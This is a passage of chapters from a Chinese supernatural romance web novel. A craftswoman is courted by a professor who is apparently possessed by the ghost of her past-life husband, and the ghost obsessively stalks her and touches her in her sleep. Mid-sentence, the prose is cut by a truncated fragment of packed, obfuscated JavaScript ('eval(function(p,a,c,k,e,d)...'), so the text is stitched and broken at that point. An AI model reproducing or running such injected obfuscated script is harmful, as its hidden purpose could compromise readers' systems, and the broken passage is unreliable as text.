她道这般做法不为恨他,仅哀叹自身命运可悲,稀里糊涂被骗进沈氏为妾,一生起伏不由己。 又道:“我对你无爱亦无恨,没什么放不下的。” “待我死后到了地下,也不会多事的向阎王爷状告你的罪过,你自有你该去的去处,这些统统与我无关。我一定向孟婆讨一碗熬得浓浓的汤,把你忘得一干二净,然后,清清白白的重来一世。” “没有你的、逍遥快活的一世。” 那时他们相拥无间,谁见了不赞是天造地设的一双人,更何况一把长剑从她心口贯入,再从他心口穿出,血流遍地,已分不清你我,照旧缠绵悱恻。 可她怎会如此决绝? 不要他,不要流着他们血液的女儿,也不要过往的一切恩爱情仇。 他悲痛欲绝,强硬地掰过她早已失去活气的脸,看得清她没闭上的眼睛里虚无且空洞,无论如何都找不到他存在的痕迹。 还有她如止水般的口吻,仿佛真在死前悟透红尘,把他当成人生试炼的一环,渡完劫就将他这枚废棋扔去一旁。 凭什么…… 凭什么。 凭什么! 他们分明行过夫妻大礼,又在灵源寺的众神见证之下承诺一生一世一双人,这一世还没走到头,誓言岂可作废。 既然他们跪在神像前,口口声声说得是夫妻死生不可离弃,他已经将自己全然交给她,她凭什么不遵守誓约?! 他恨红了眼,呼吸变得沉重,掐着她,近乎癫狂地命令:“说你爱我。” “说你认我这个郎君,说你忘不掉我。说你对我恨之入骨,巴不得将我扒皮抽筋,碎尸万段,除之后快,说你永生永世都不会原谅我!” “快说——!!” 暴怒的嘶吼声陡然变调,比起恨,更像一种遮天蔽日的难过。 客厅里响起叮叮咣咣的动静,不止身旁的玻璃展示柜、窗户、水杯被他压迫性的气质震动,连灯光闪烁的速度也变快,不知道打哪儿发出砰得脆响,灯泡碎了。 许菱烟手腕上的串珠发出刺眼的光,灼烧感达到顶峰。 她短促地叫了声,眼神瞬间恢复清亮。 与此同时,从背后攀爬上来,企图将她完全纳入怀中的黑雾也被串珠烫到,嗖得一下缩回沈渠脚边,老实巴交的变成正常影子。 频闪的灯、降低的温度、颤抖的玻璃…… 一切都趁许菱烟眨眼的功夫复原。 只留下一盏原本就开着的顶灯,白炽光足以照亮这一片区域,但因为沈渠个儿太高,站直之后挡住大片的亮光,脸上形成清晰的明暗两界,黑影铺天盖地压过来、拢住她。 许菱烟抬起头,正对上沈渠一张清儒的俊脸,乍看在笑,细究不过一秒又觉得他眼底压着阴翳,反反复复的,让她背脊发凉。 有那么一刹,她竟恍觉不太认识他了。 沈渠反倒像个没事人,环起胳膊,懒懒散散的往柜子上一靠,玩笑道:“我脸上到底有什么稀奇古怪的东西,值得你这么认真观察?正跟你聊天呢,一连问了好几遍,你也不吱声。” 不知道出于什么心理,许菱烟揉着隐隐作痛的脸颊,先觑一眼挂钟,确认自己发了没几秒的呆,然后低头摆弄串珠,意外发现腕子上有一抹不太明显的红痕。 她误认为自己过敏了,于是摘下串珠,塞进外衣口袋。 只是心头突突跳得异常,她控制不住地掀起眼帘,飞快瞥他一眼。 因为没站直,沈渠整张脸彻底暴露在灯光下,眼角眉梢带着温煦笑意,坦坦荡荡地看着她,从头到脚,没有一个地方不对劲。 许菱烟莫名松了口气,重拾未完的话题:“你问我什么?” “这株并蒂莲,是你亲手做的?” “是,也不是吧。” 许菱烟感觉脑袋发沉,猜是今天赶路太久,累的。 她揉了揉太阳穴,抿了下唇,努力调动情绪跟他聊天。 “前年我被师父引荐去工艺美术学院兼职授课,结识了一位琉璃匠人,得空去找她玩儿的时候顺便参观了一下工厂,又有机会亲手做了一株并蒂莲。最初弄出来奇形怪状的,朋友看不下去,抽空帮我重烧了,不然摆在客厅里挺吓人的。” 沈渠揶揄:“你这双巧手能做出什么吓人的东西?我还挺好奇的。” 许菱烟也咧嘴笑了下,眉眼间掩不住的疲倦,但不舍得就此结束他们来之不易的独处时光,硬撑着精神给沈渠科普。 “琉璃烧制是名副其实的火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她偷摸摆正桌上一堆木雕摆件,不太好意思地说:“我不是个不爱打扫的人,只是东西太多太杂,收拾之后很容易忘记放哪儿,等到要用的时候又得一通扒拉,太麻烦了。不如就全摆出在台面上,平时打眼一瞧就找到了。主打一个,乱中有序。” “这还叫乱?”沈渠走进来,自然地接住话头。 “你肯定没见过期末考完以后老师们的办公室,遍地狼藉,还有成捆的试卷和资料书,连个下脚的地方也没有。每次看见我都犯头疼,等阅卷结束,根本不知道从哪儿开始收拾。最要命的是,这活儿还不能交给别人帮忙干,万一有重要的资料混在里面被误丢了,又得引来一堆麻烦事。” 沈渠无奈:“以后我也试试你这招乱中有序,说不定有奇效。” 被他这么一打岔,许菱烟从心地笑起来,拘谨一扫而空。 订制品放在保险柜里,她挪出椅子,请他坐着等,独自去取。 沈渠温和应好,旋即,不动声色打量起这间面积偌大的工作室。 置物架贴墙立着,每一层都贴了标签,分门别类,依次摆放着她闲暇时做的木雕工艺品。 另一边能够晒到太阳的区域,安装了与人等高的阅读灯,布艺沙发颜色鲜亮,乍看起来很像块清甜的橙子,扶手上搭着一块折叠整齐的薄毯。 矮几分两层,一层放瓜果盘、饮品,还有一层专门放平板和书籍。 工作室内的每一块区域,都被她完美的利用起来了。 也正如她所说,她不是个不爱打扫的人,只是为了方便,故意让某些地方乱着。 恍惚间,沈渠又听见那道不似寻常女儿家娇怯,格外清亮的嗓音,一个劲儿在他耳边絮絮叨叨:“如若我有个专门理事的屋子,绝对拾掇的井井有条,才不像你的书房一样。” 那时他将她视为珍宝,捧作下凡的仙女,被当面训斥也没脾气似地笑,语气软和地问:“这间书房怎么了?我瞧着很是不错呐。” “杂乱无章。自个儿的东西放哪了自个儿却不清楚,每次都得叫我来才能寻见。” 她手上收拾的动作没停,一双盈盈如水的眼瞪向他,嫌弃地哼声:“一屋不扫,何以扫天下的道理,将军难道不懂吗?传出去不得被将士们笑话死。” 可她哪里晓得,书房内放得皆为至关重要的机密,暗卫们从早到晚守在四周,丝毫不敢松懈,凡见除他之外的人擅自靠近,一律格杀勿论。 那阵子他忙得焦头烂额,连回房歇息的间隙都挤不出,心中想她想的厉害,便掰扯出这么一个蠢笨的法子,每天胡搅蛮缠的留她在书房待上一时片刻,只为她可以待在自己视线所及之处,忙中偷闲看上几眼,以慰相思之苦。 为此,他甚至同暗卫另下了一道令,让她也能自由出入书房。 而他的所有痴情与宠溺,到头来只换得她一句“无爱亦无恨”,何其荒唐可笑。 沈渠睫毛低垂微颤,敛起哀戚的神色,赶在许菱烟过来之前把桌上的摆件拢了拢,腾出个地方放礼盒。 许菱烟掀开盖子,拿来收货单和中性笔,放到沈渠手边,“你检查一下,确认东西没问题,就在这儿签个字。” 沈渠没应声,失魂般,定定地看着那套头面。 纵使他早就看过设计图,但成品所带来的强大冲击力还是远超预计。 他从未有一刻像现在一样如此笃定她回来了,哪怕没有恢复记忆,却听得出自己前世的姓名,也做得出大婚时戴的头面。 沈渠刚摁下的心潮再次沸腾,眼前喜烛通明、金穗垂帘、嫁衣鲜红……大婚的景象历历在目,就连新娘本人也完好的待在他身旁。 而她当初放下狠话向孟婆讨一碗熬得最浓的汤,彻底忘记他的时候,兴许也没想到,再来一世,她仍会爱上他,同样逃不过与他成为夫妻的命运。 沈渠轻柔地抚摸头冠,手指控制不住发抖,已经分不清此刻是激动多一些,还是怅然更多一些,最终,千言万语只化作唇边一抹失而复得的笑容。 心口憋了一千四百多年的郁气也在今朝全部发泄干净,他感受到前所未有的畅快,拿起笔利落地签下名字,笔触潇洒飘逸,风格跟以往截然不同。 许菱烟没发觉异状,把收货单塞入礼盒,盖上盖子,用同色系的绸带扎紧。 转脸,忽然撞上沈渠一对熠熠生辉的眸子,令她惊艳到短暂失神。 怦然心动的瞬间,她听见他问:“菱烟。” “你,信前世缘分吗?” 19. 怨夫 没来由的,许菱烟脑海中闪现过一幕幕的壁画,还有那则堪称传奇的神话故事。 她心头剧烈一颤,愣愣看着他,一时之间,竟不知该如何作答。 沈渠很有耐心的等着。 时间一分一秒流逝,许菱烟的神智回笼,从沈渠深谙的表情中,咂摸出一丝不同寻常的滋味。 “你该不会是在……” 她眯起漂亮的眼睛,睇他,“跟我告白吧?” 沈渠意料之外地愣住了。 许菱烟转身背对他,有一下没一下地拨弄木雕摆件,语气娇嗔:“你的说法真老套。我外公那一代向喜欢的女人表达心意,早都不用前世今生的缘分做开场白了。” 沈渠目瞪口呆,嘴巴翕张半天没磕巴出下文,心说,他应该没表达错,是她的脑回路太跳脱,没理解他的意思。 怔了一两秒后,他压住起伏的心海,从善如流道:“那我私下补补课,找机会再向你说一次,行不行。” “……” 她可以说不行吗。 表白哪有预告的啊? 就现在,组织完语言重说一次呗。 她给他这个机会。 不过话到嘴边,反而觉得难为情,显得她上赶着做他女朋友一样,太不矜持了。 许菱烟不情不愿地瘪嘴:“别让我等太久,我这人没什么耐心。” ……没有耐心,吗。 沈渠瞥一眼架子上各式各样的木雕工艺品,每一样做工都非常精致,标签上写着东西制成的时间,最长间隔不到两天,足以看得出许菱烟从没有荒废过基本功的练习。 当初选择拜师传承非遗技艺,再到后来开个人的工作室,并不见得只为赚钱。 她是真的喜欢,也能为此沉得下心磨练。 沈渠眼角眉梢含着浅淡的乐意,另有所指地问:“你做这一行,会没有耐心?” “感情和工作又不一样。”许菱烟被那双深邃的眼神盯得不自在,好像小心思无处遁形,她嘀咕一句,低头避开他的视线。 沈渠不置可否,从衣服口袋里摸出一张中式设计的门票,放到桌上,用木雕摆件压实。 许菱烟立马移来目光,“这什么?” “小沈导演的历史舞台剧,下周三晚七点在市中心的大剧院首演。到时候,我来接你。” “你凭什么确定我会答应?”许菱烟俏皮地问,存心逗他。 “我以为你会好奇自己亲手制作的工艺品登上舞台是什么效果,不想去现场也没关系,”沈渠诚恳作答,“演出全程有官方拍摄,结束之后会制成碟片保存下来,万一你哪天想看,我可以找小沈借。” 许菱烟拿起票反复看了几遍,轻轻摇头,作势要还回去,等沈渠露出失落表情伸手欲接,她动作一晃,飞快将票收进抽屉,用侧腰抵住拉环,装作无事发生般。 “那天可是工作日,你时间合适吗?” 沈渠冷不防扑个空,整个人受惯性向前,幸亏他反应迅速地抓住桌沿停住,才不至于把许菱烟抱个满怀,但现下,两人的姿势不见得多么清白。 一个低头一个抬头,四目相对,眼底流转着同样的柔软缱绻,鼻尖近在咫尺,呼吸萦绕难以分清,心腔内怦怦乱跳,悸动难捱。 许菱烟紧张地咽了口唾沫,没躲开,反而追着沈渠后撤的动作往前一贴,拉开的距离顿时化为虚无。 她呵出一口芬芳,引诱似地:“问你话呢,怎么不回答。” 沈渠良久盯着许菱烟,连眨眼都忘记了,表情怔然,仿佛兀自陷入一场漫长的回忆。 突然听她出声,走失的神智一下被唤回。 他尴尬又腼腆地别开脸,感觉呼吸稍微顺畅了,回说:“下午有场监考,三点整结束,不耽误去看演出。” 许菱烟哦声,打开手机地图,搜索之后发现两地位于城市的对角线,相隔实在太远了,沈渠开车往这边赶肯定很为难,但凡中途有堵车或其他突发情况,他们很容易错过最后的检票时间。 总不能在这么重要的日子里,给沈绍元添麻烦吧。 “不如,我直接到学校找你?”许菱烟提议。 沈渠当然没有意见,只担心会不会耽误许菱烟的正经事,让她先确认一下工作安排。 许菱烟翻了翻日程表,那天除了约个地方给律师朋友交单,没其他要紧的工作,旋即想起另一件重要的事,“正巧我有个朋友也在沙溪大学,我先跟她碰个面,等你监考结束,我们再联系。” 沈渠心弦微动,重新看向许菱烟,面皮上挂着笑,但笑不达眼底,“之前怎么没听你提过?是老师还是学生?我也认识吗?” 脱口而出一连串疑问之后,触及她饶有兴致地打量,他惊觉不对,想说点什么找补,一时之间又想不起来合理的措辞,窘到耳根泛起不正常的红晕,支支吾吾地挤出后半句:“女的...还是男的?” 许菱烟彻底绷不住笑出声。 她乐得见他维持不住平时的淡定,偶尔表现出的占有欲更像情-人之间无伤大雅的玩闹,所以她故意模棱两可的回答:“就,之前跟你说过的那个卧底。” 沈渠果然忍不住追问,口吻还算温和:“是学生?来听我讲座的时候认识的?” “不告诉你。”许菱烟嘴角扬起一抹笑,眼眸清亮如月,声线仿若清风拂过,用最无辜的表情说出最吊人胃口的话。 聊天的功夫,两人的距离不仅没拉开,还越来越近了,只要有人肯先抬手就能轻松将对方拢进怀中。 可谁都没动,一本正经讨论下次见面,放任暧昧悄然滋生。 沈渠闻得见那股似有若无的花香,起先以为是女士香水,靠得近了才分辨出是许菱烟的体香。 太久违、熟悉的气息,肆无忌惮地撩拨他的神经,勾起那些早被深埋心底的陈旧记忆,令他欣喜若狂,恨不得把千年来入骨的相思、浓烈的爱意悉数摊开在她眼前,看她彻底想起前尘往事时会露出什么表情。 是爱他。 是恨他。 或是惊恐、愤懑…… 不管什么反应都无关紧要,她只需要接受自己永生永世与他纠缠不休的命运,跟他再做一世夫妻,佳偶也好,怨侣也罢,只要最后是他们在一起就心满意足了。 仅一想,沈渠便兴奋得灵魂颤栗,令他快伪装不下这张假斯文的皮囊。 然则,他感受到她温热潮湿的呼吸,看着一双清冽如山间泉水的眸子,目光扫过她完好无缺的胸膛。 这样鲜活的生命离他只有一步之遥,他那颗躁动喧嚣的心蓦地缓和下来,慢慢的、沉沉地没入浓厚湿冷的黏液中。 他曾因性急吃过一次亏,这回必得吸取教训,徐徐图之。 对她,无非一个等字。 而他如今最不缺的就是时间。 沈渠弯起嘴角,压下心头翻涌的无数计谋,很识趣地道:“你不想说,那我就不问了……今天累了一天,你早点休息,我这也回了。” “周三见。” - 在外面待了两天一夜,许菱烟简直身心俱疲,泡完澡更是骨头缝里泛着酸,她仰面倒在床上,裹起被子往旁边骨碌一滚,闭眼就睡。 第二天醒来神清气爽,许菱烟惬意地伸个懒腰,打开手机先瞧见沈渠发来的早安。 还有一张通勤路上随手拍得碧空白云。 她更是精神亢奋,立即翻身坐起来,同样回他一句:早呀。 一分钟后,沈渠又发来一张照片。 他刚走进阶梯教室,下方座无虚席,乍看过去黑黢黢一片。 隔着屏幕,许菱烟恍惚回到学生时代,课堂上走神突然被老师暗中里盯住,背脊爬起一股挥之不去的惊悚感。 她匆匆删掉编辑好的文字,没再打扰沈渠工作。 忙完当日的常规训练,眼瞅时间还早,许菱烟打算去一趟医院探望祁全,网购果篮的时候想起叶婉筱说他刚转了病房,于是给她发消息,问一问具体的房号。 叶婉筱那头应该在忙,没及时回复。 不一会儿,许菱烟换衣服出门,去指定投放点取了果篮,回来时已经中午,第一件事先给叶婉筱打语音。 她早上忙着练习刀工,忘记打扫卫生了,摁下免提之后将系统音量调至最高,随手放在茶几上,然后去取卫生工具。 意外发现楼梯下方,暗格那儿的灯泡不知道怎么回事、又是什么时候碎掉了,一地的玻璃碴子。 幸亏拖鞋底够厚,没伤到她。 嘟音卡顿一拍,电话接通,叶婉筱懒散地哼:“何事启奏?” “我今天有空,想去医院看看祁全,你把病房号发给我。” 许菱烟扫完玻璃渣,全丢进垃圾桶,又拿来胶带,细致地粘黏可能遗漏的碎渣。 她走来走去的细碎脚步声传入电话另一端,反倒是话音很不清楚,像有谁故意捂住听筒,霸道的不许外人听见这边任何动静。 叶婉筱叫许菱烟把手机拿近一些,问:“你在捯饬什么?” “家里有个灯泡炸了,我正收拾呢。” “灯泡炸了?什么牌子,说出来让姐妹避个雷。” 调侃句,叶婉筱聊起正经事,“祁全昨天一大早就出院了,医生说他恢复的很不错,直接去健身房抗哑铃都没问题,更不会耽误他日后的工作。放心吧。” 许菱烟一懵,感觉匪夷所思:“可你上周探病回来,说他伤口恶化,还得再观察十天半个月,难道他吃仙丹了,恢复这么快?” “年轻人,身体素质好嘛。” 叶婉筱不觉得这有什么值得奇怪,反倒是许菱烟一直以来的态度透着说不清的诡异。 尤其听见她兀自咕哝,说果篮买都买了,待会还是亲自上门看一看吧。 这份怀疑倏然达到顶峰,忍不住道:“你对祁全,是不是太过关心了?” “有吗?”许菱烟不这么认为。 叶婉筱在她看不见的地方使劲点头,“有,包有的。” 自祁全受伤那天起,许菱烟明里暗里的关照就没停过。 她巧妙的避开祁全本人,每天例行公事一样,打电话向留在医院陪护的他的家人嘘寒问暖。后来因为生病,没办法出门,就托叶婉筱去医院的时候顺便带上她的礼。 这一系列操作,把祁全的家里人都给搞糊涂了。 偏偏祁全的状况不稳定,一会儿糊涂,一会儿清醒,渗血的伤口用上了很多药,却邪门儿的迟迟不见愈合。 没人敢在这个时候,当面打听他的感情。 他妈妈便把叶婉筱拉到病房外僻静的一角,偷摸问她,这俩人是不是在处对象。 叶婉筱被唬一跳,矢口否认。 阿姨眼睛一眯,直觉事情不对,追问:“真没有?” “真的,比金子都真。聚会那天是他俩第一次见,总共也没聊几句。” 叶婉筱怕她不信,又酿成更大的误会,干脆把沈教授搬出来一用,“我这位朋友有对象,是位历史老师,在大学教书。” 闻言,阿姨表情困惑,委实不懂现在年轻人的交友。 其他认识很长时间,或平时来往密切的朋友们得知祁全受伤,都只是抽空带点东西来探病,尚且做不到面面俱到的关照。 按叶婉筱的说法,他们只有一面之缘,许菱烟却又出钱又出力,对祁全和他家人关怀备至。 出事那天在警察局,她一个小姑娘对上一帮大老爷们儿丝毫不见怯,非得给受伤的人讨个合理的说法和赔偿。 后来打官司,她也帮着介绍靠谱的律所…… 一桩桩、一件件叠加起来,实在很难不让人多想。 叶婉筱了解许菱烟,她不是个朝三暮四的人,心里装着沈教授,不可能再对别人留情。她对祁全的帮助只因为善意,不过,细究起来,这份善意中似乎掺杂别的东西。 叶婉筱觉得是歉疚,又参不破是为什么。 祁全受伤跟店家、跟供应商有关,跟非要拉他赴约的同事有关,甚至跟那天出门没看黄历多少沾点边儿,唯独跟她没关系,她一个劲儿歉疚什么。 许菱烟本人也解释不清。 彼时她站在病房门外,看着他缠满绷带的胳膊,丝丝缕缕的鲜血从缝隙间渗出,骇得她眼皮跳个没完。 突如其来的、强烈的悔恨,压得她直不起腰,就像他受伤这件事完全是被她连累,之后那些连她自己都解释不清的行为更似赎罪,或替某人赎罪。 许菱烟晃晃脑袋,阻止自己继续发散不像话的思绪,“我还是去一趟吧,亲眼看见他恢复好我就放心了,不然总跟个事儿一样记挂着。” 她把胶带团成球,丢进垃圾桶,拿起手机往楼上走,完全没发觉身后经过的地方洇着一块又一块水渍,冒出散发着腐朽气的汩汩烟雾。 曾经只能于黑 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那缕黑烟被眼前的景致蛊惑,痴痴凑近,转瞬幻化成男子模糊的身形,俯身,张开怀抱,从后方紧紧拥住她。 许菱烟只觉得有股凉飕飕的风吹来,激起一层鸡皮疙瘩。 她打个哆嗦,翻找的动作加快,整个人恨不得直接埋进衣柜里,肌肤露出面积也随之变大,令人垂涎、贪嗜的风光触手可及。 见状,那抹黑雾抽动着往一处聚拢,那张原本只有双眼的脸上,竟然硬生生挤出五官的轮廓。 模样暂且看不分明,不过依稀能够分辨出是个如玉般俊朗的少年,亡故时仅有十八-九的年岁。 它低头,刚生出的唇瓣蹭过她柔软发丝,鼻翼轻轻嗅她身上散发的幽幽清香,顷刻间,万千爱恋自心起,还涌入前所未有的畅快。 它从肺腑里挤出一道餍足喟叹,唇瓣沿她突起的脊骨一路向下,最终停在裸-露的腰间。 它侧脸,贴上去,像只依恋雌鸟的幼崽,静静感受着她的弹嫩、温润、暖和。 此时此刻,从一个不知道算什么玩意儿的东西脸上,竟显现出几分活人之间的温情——这样亲密无间的拥抱,多久没有过了? 过去太久,实在记不清了。 孑然一身在幽冥界苦苦徘徊的岁月太漫长,没有她作伴,逝去的每一秒对它而言都是煎熬,思念化为一把利刃再次剖开它的胸腔,流出来的不是鲜血,反是无法诉诸于口的、浓烈的爱慕。 胸腔那块被一剑捅穿的地方,注定再也无法愈合,伤口变成深不见底的洞穴,彻夜随凌冽寒风一道悲鸣。 它眼睁睁看着自己变成人不人、鬼不鬼的样子,最痛不欲生的时候,只能闭上眼反复回忆与她的朝夕点滴排解忧愁。 后来不知道哪天起,它为人时的记忆淡化、消失,脑海中一片虚无,漫无边际的黑夜里乍现一道光亮,是她的身影。 慢慢的,与之相关的往事浮现。 从此它便成了她最虔诚的信徒,义无反顾踏上寻找她的路途。 今朝,它无比确认他们有了再续前缘的机会,自己也重新获得了五感,甚至比常人更加敏锐。 不止她的温度、香味儿,连同薄皮下血液的流淌、脉搏的鼓动都一清二楚。 这种把控她生命的微妙体验过于刺激,让它那颗早已死去的心又一次砰砰鼓动起来,不断搅动上面裹满的粘稠尸液。 咕叽咕叽。 咕叽咕叽。 咕叽,咕叽…… 越发浓重的腥臭味儿与潮冷的喘息一并喷洒在许菱烟腰间,她陡然感到彻骨的寒意,反手摸到衣摆,狠狠往下一拽,同时从一堆折叠整齐的衣服里抽出马甲,快步绕过床尾,猛地扯开窗帘,滚烫的日光立时倾洒满屋,无一死角。 许菱烟警惕地环视房间,确认没有异常才长长地松了口气,仿佛刚才网一样,密不透风将她笼住的阴寒只是错觉。 许菱烟打消疑虑,捡起扔去被单上的手机,喂了两声。 另外一头的叶婉筱正绕着办公室打转儿,还以为是自己这边的信号不好,怎么正聊着许菱烟就没动静了,只有连绵不断的沙沙杂音,听久了,弄得人心烦意乱。 直到许菱烟再次出声,叶婉筱忙不迭回应:“诶。” “我刚才换衣服呢,”许菱烟低头系扣子,“你说什么了,我没听清。” 叶婉筱重述:“你先别着急出门。等我处理完手头这点工作,陪你一起去。” “还要多久?” “最多一个小时。” “好。” 结束通话,许菱烟反手关门,下楼到工作室找点事情干,消磨等待的时间。 而脚下的瓷砖砖缝里,跟随她踩过的步调,冒出一丛丛摇曳的、菌丝般的雾气,齐齐攀上鞋跟,被她迈步的动作甩开,不死心的又一次扑过去。 反反复复,它似乎从中咂摸出别样的趣味,黑雾疾速膨胀起来,张牙舞爪的扑伏向她,手臂就快触及她的时候,倏然被一道亮光闪过眼睛,灼热感剖肠破肚。 它痛苦地捂住眼睛,身形再也拢不住,雾气四散飘开,转瞬融入空气中,消失殆尽。 许菱烟同样察觉到口袋里的滚烫,掏出来一瞧,竟是灵源寺小师父赠送的串珠在发热。 她惊奇地喟叹声:还真是个有灵性的物件。 因为之前直接接触皮肤导致过敏,这次她隔着内衬,重新戴到手腕上。 然后输入密码,开门,进入工作室。 一道又一道的门相继阖上,不仅安全感满满,隔音效果也是一流。 许菱烟扎起头发,系上围裙,打开音响播放舒缓的轻音乐,快速投入工作状态中。 因而没听见游荡在外间的怪异动静。 如怨夫一样,不停哀吟: 清如。 清如。 清如呐…… 神仙也不过如此,竟以为一串珠子就能割断我们之间的羁绊。你也还是一如既往的单纯,竟真的信了他们的说法,以为戴着这玩意儿,就能阻止我靠近你了吗。 我是那么爱你。 那么、那么爱你。 在你看得见、看不见的地方,我一直都在。我会永远纠缠你的。直至天荒地老,我也绝不放过你。 你是我的。 注定只能,是我的。 20. 亲吻 即将到下班时间,叶婉筱突然被领导叫走,领了个要紧的活儿,必须得带小组的成员跑一趟外勤。 许菱烟只好拎上果篮,独自打车前往。 出门前,许菱烟给祁全打了一通电话,想问问他在没在家、有没有空,结果嘟音响了很久,没人接。 她原以为他没留意手机,等出租车到了小区,付钱时顺便瞄一眼通知栏,发现他还没回电,她又拨了一次,仍然没通。 许菱烟踌躇不决。 以免被误解,她没有联系他的家人,也没敢贸然上楼敲门,把果篮暂放到传达室,托大爷帮忙保管,又在微信上叮嘱祁全千万记得来取,便离开了。 - 期末这阵儿事多如牛毛,复习压力也大,卢桃干脆先住在宿舍,等学校这头的事都结束再回来。 最最重要的是,师姐现在正处于热恋期,需要私密空间跟沈教授相处,再说,她又不是没地方住,以后不能往师姐家跑得太勤了。 许菱烟只知其一不知其二。 卢桃为了考试住校,她当然不会有意见,只不过家里突然少了一个人,不仅看起来空唠唠的,感觉也很寂寞。 夜间,把今年最后一笔订制品打包,放入保险箱上锁,许菱烟如释重负地伸个懒腰,进浴室快速冲个热水澡,一身清爽地钻进被窝,打开投影仪,随便找出一部非遗纪录片播放。 仅仅为了有声儿作伴,所以她看得不怎么认真,时不时瞄一眼幕布,注意力大都放在微信群聊天上。 偏偏,就在抬眼的刹那,群里有谁蹦出来说祁全又出事了。 刚到家第一天,他不知道吃错什么东西,诱发了急性肠胃炎,被救护车送去洗胃,连续输液三天才能出院。 正热聊的话题中断,众人纷纷关心起祁全的情况。 那人回复说没什么大问题,但这哥们儿点背的令人心疼,从身到心都太遭罪了。 前后不及一分钟,感兴趣的片段播完,许菱烟眼睑低垂,重新看向手机。 还是那个话题,第一次约女神出门,该去有格调的西餐厅,还是该去接地气的市井场所。 问题抛去有出一段时间,迟迟没人接茬,大家似乎被设定程序般,同时退出群聊,各忙各的去了。 许菱烟不了解对方的喜好,没有随便给意见,便也退出聊天,专注地看起纪录片。 没一会,生物钟作祟,她打个长长的哈欠,眼皮沉的抬不动。 关掉投影仪,她将手机放到床头柜上充电,被子一盖,闭眼睡觉。 岑寂的夜色如同潮水一样逐渐挤满整间卧室,地暖温度被更汹涌的沧凉取代。 熟睡中的许菱烟感觉到刺骨寒冷,整个人蜷缩成一团,裹紧被子翻身,双手无意识往枕头下摸,直至碰到发热源,她立即攥紧,像握住了唯一的安全感。 倦意泛滥,许菱烟懒得细究那是什么,拱了拱脑袋,在软绵的枕头里找到个足够舒适的位置,继续安眠。 她的睡相很好,一整晚都不怎么折腾翻身,始终保持着背对卧室门的姿势,呼吸绵长平稳。 门旁留出足够的开关活动空间,同侧还有一架巨大的衣柜。 两边一直用来保管反季衣物或厚棉被,平开门严丝合缝地关着,以免里面的东西受潮。 中段的门是推拉设计,总难免留出一道缝隙,所以只用来放当下季节日常穿的衣服。 此刻,那道逼仄的缝隙里同样溢满浓黑,有只眼珠乍然出现,紧紧贴合着眼眶边沿骨碌滚过一圈,又像弹珠一样上下反复跳动,过去相当长一会儿,在它努力找到正确位置之后,视线精准无误的、牢牢锁住床上单薄的背影。 咯咯吱吱类似磨牙的呓语响起,与此同时,眼珠逐步分裂成两颗,黑白分明,跟人的眼睛别无二致,唯独瞳孔中闪着猩红光点,阴鸷如邪魔,发狂地注视着许菱烟。 她安然地睡着,丝毫不知道身后的衣柜门缝中,有一缕接着一缕的黑烟源源不断地涌出。 卧室内的窗帘拉紧,月光照不进来,能见度很低,黑烟究竟要蔓延至哪里,又将去哪里汇合,不得而知。 只觉得这一刻,床旁似乎不再是木地板,而是起伏不定的潮黑水面,突地,有只湿漉漉的手拍上床沿,将被单被抓起一道道褶皱,洇开暗色水渍。 咯吱咯吱的碎音消失,取而代之的是一声幽长的喟叹。 充满电的手机屏幕亮起,微弱光线照出床边趴着的一个……人? 是了。 不会错。 的的确确,是个人。 不出半天光景,他就恢复了从前作为人时候的模样,轮廓分明的面庞,狭长的双眸,褶皱深深的眼皮,眼尾划过一道狭窄、短小且模糊的伤痕。 整个儿的气质与沈渠大相径庭,丝毫不见文人的儒雅谦和,更像从地狱爬出来的阎罗,散发着不死不休的阴狠。 但这才是他的真面目。 在一具逐渐腐烂的身体内待久了,委实太憋屈,太烦躁,他好不容易迎来这一天,得以畅快地伸个懒腰,吐出口气,接着捏紧手心,逐渐让自己能够用得上力气,身体也有了大致的线条,不再是摆脱沈渠的空壳之后随时都会消散的烟雾。 可惜时间太短,他恢复的不够彻底,双腿无法像正常人一样站立,用力久了,指尖就有消散的趋势。 一张白面皮仍然泛着青紫色,湿漉漉的黑发垂落挡住右眼,另外一只眼露在外,眼白占据大部分,墨瞳向上翻起,渐渐缩成芝麻粒大小,血丝从四面八方延伸来,聚成炯炯红光,恨不得刺穿厚实的棉被,将她拖拽进自己的胸膛。 但他很快克制住这股汹涌的欲-念。 妻子还没想起往昔,贸然惊动她,只会适得其反。 闭眼缓了缓呼吸,他又一次看向不远处那道朝思暮想的背影,身体自发动起来,蛇爬过苔藓一样徐徐攀上床,伸手抓住被子一角,轻轻往下拉扯,露出她被捂得绯红的脸。 许菱烟睡得很沉,对危险毫无察觉。 或许是往下滑落一截的被子惊扰到她,她忽然翻了个身,将两人之间的距离拉近,湿润鼻息喷洒在脸上,睫毛互相剐蹭,鼻尖险些撞在一起。 猝不及防的一个转折,他周身的气息凝滞一刹,缩小成芝麻大小的黑色瞳孔剧烈颤抖起来。 太过暧昧缱绻的氛围,令他不由自主地回忆起新婚那阵。 夜里落了纱帘,吹灭烛火,他们总要裹在同一床被褥里,额头抵着额头,互相搂着抱着,亲密无间地低语,一直到彼此都困了,就保持这个姿势沉沉睡去。 而她沉眠的模样跟现在毫无区别。 双眸紧闭,睫毛偶尔颤抖几下,像只受惊的雀儿,然后下意识往他怀里挤,等察觉到枕边人的存在,她心里安生了,便可以安稳的一觉到天亮。 往昔种种涌入心头,他胸口发闷,怅然若失。 刚成型的双手使用还不太熟练,他想摸一摸她的面颊,却下意识驱动枝条,等了半天没下文,低头看见一具轮廓清晰的身体,才想起自己不再是一团雾了。 他小心翼翼伸手,指尖先触及她的下巴,指腹试探着抚上去,如愿感知到温暖柔细的肌肤。 这一刻,他才肯相信,让自己魂牵梦萦的人儿就躺在面前。 他亢奋到每根神经都在抖动,上下牙磕碰到一起,发出轻微响声。 唯恐惊扰她的美梦,他克制着咬住下唇,力气刚恢复还很难把控尺度,一不留神,尖牙刺穿皮肉,冒出几颗鲜红的血珠。 他像是没有痛觉,神色如疯如魔。 “清如...我的妻...” “...又来了,为夫,又来了...” 呢喃间,他刻意压低气息,轻嗅她瀑布一样铺开在枕头上的墨发。 清新的花香于鼻尖萦绕,勾的他心神愈发荡漾,再也不愿只满足于现下的状态,于是拖动身体蹭入被窝,手臂环过她的腰肢,不由分说地将她揽入怀抱。 许菱烟仍没有睁眼的征兆,但却眉间轻蹙,表情很抗拒。 